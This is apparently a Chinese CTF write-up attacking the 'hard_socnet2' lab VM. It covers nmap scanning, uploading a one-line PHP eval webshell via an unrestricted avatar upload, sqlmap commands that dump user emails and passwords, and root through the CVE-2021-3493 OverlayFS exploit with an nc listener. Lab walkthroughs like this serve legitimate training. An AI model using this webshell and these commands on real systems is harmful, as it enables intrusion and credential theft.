第五周hard_socnet2
一、简介
目标:拿下root权限
1.1、打靶方法
主机发现
端口扫描
SQL注入
文件上传
蚁剑上传
EXP提权
1.2、说明
这个靶机有两个打靶方式,这篇文章记录的是直接利用exp。
二、主机发现
使用nmap进行找到目标靶机
sudo nmap -sn 10.0.2.0/24 |
扫描靶机开放的端口
sudo nmap -p- 10.0.2.7 |
查看开放端口的对应的服务
sudo nmap -p 22,80,8000 -sV 10.0.2.7 |
发现靶机开放了 22 80 8000 端口,靶机操作系统是Ununtu,22为ssh,80 为web,8000 是基于python的基础http服务
三、目标访问
3.1、访问80端口
http://10.0.2.7/ |
发现是使用邮箱登录,弱口令登录失败 。
随便注册一个账号,进入页面,查看里面是否存在可利用的漏洞
3.2、访问8000端口
忘记截图了,文字说明一下,访问8000端口时发现无法访问成功,页面显示不支持使用get请求方式,使用burpsuite抓包后使用其他HTTP请求方式发现全都失败。
四、文件上传
存在用户头像上传点,没有做任何限制,利用这个漏洞,上传一句换木马,提前准备好一句话木马
eval($_POST["1"]); @ |
上传成功后找到,查看上传地址,使用蚁剑进行连接
文件上传地址
http://10.0.2.7/data/images/posts/11.php |
蚁剑连接
五、SQL注入
5.1、说明
使用SQL注入获取到了管理员账号和密码,但是在这次打靶过程中并未利用到这个漏洞
5.2、查找注入点
进入网站发现上方有个搜索框,经过尝试发现注入’会进行报错,存在注入点
5.3、BurpSuite 抓包
由于这个网站需要登录,所以在使用sqlmap时需要cookie,故抓包放入文档中,以供后续sqlmap使用。
5.4、使用sqlmap
sqlmap -r 1.txt -p query --dbs |
-r 是读取
-p 指明注入点
–dbs 爆出数据库
–tables 爆出数据表
–columns 保存数据列
– dump查看具体信息
如果在sqlmap运行中不知道选择Y还是N,就全选Y,这样会保证能够正常运行,但同时可能会多跑一些无用的信息,建议看一下提示在选择
sqlmap -r 1.txt -p query -D socialnetwork --tables |
查看socialnetwork库中的数据表
sqlmap -r 1.txt -p query -D socialnetwork -T users --columns |
查看数据users表中对应的数据列
sqlmap -r 1.txt -p query -D socialnetwork -T users -C user_email,user_password --dump |
查看指定数据列的内容
六、EXP执行
其实在这个靶机制作出来时这个exp还未被揭露出来,这个exp降低了靶机的难度,如果不利用这个exp,攻克这个靶机需要利用的PWN中的溢出。
利用刚才上线的一句话木马,调出靶机的命令窗口
5.1、查看靶机的信息
lsb_release -a |
发现网上存在对应的exp。
5.2、EXP脚本
exp文档及下载:GitHub - briskets/CVE-2021-3493: Ubuntu OverlayFS Local Privesc
不想下载可以直接复制:
|
将exp脚本上传的靶机中
上传后对exp进行编译和授权以及利用,也可以在kali中编译好后直接直接上穿编译后的文件
gcc -o exp exploit.c |
发现在蚁剑这个窗口中权限不够,exp无法直接执行。
5.3、NC串联
靶机中的nc不支持-e参数,使用nc串联的方式,执行exp/
nc -nvlp 4444 |
监听成功后执行exp,查看用户权限
./exp |
发现是root权限,打靶完成
方法二:不利用这个exp,利用缓冲区溢出漏洞,PWN知识未开始接触不写了。。。。。。。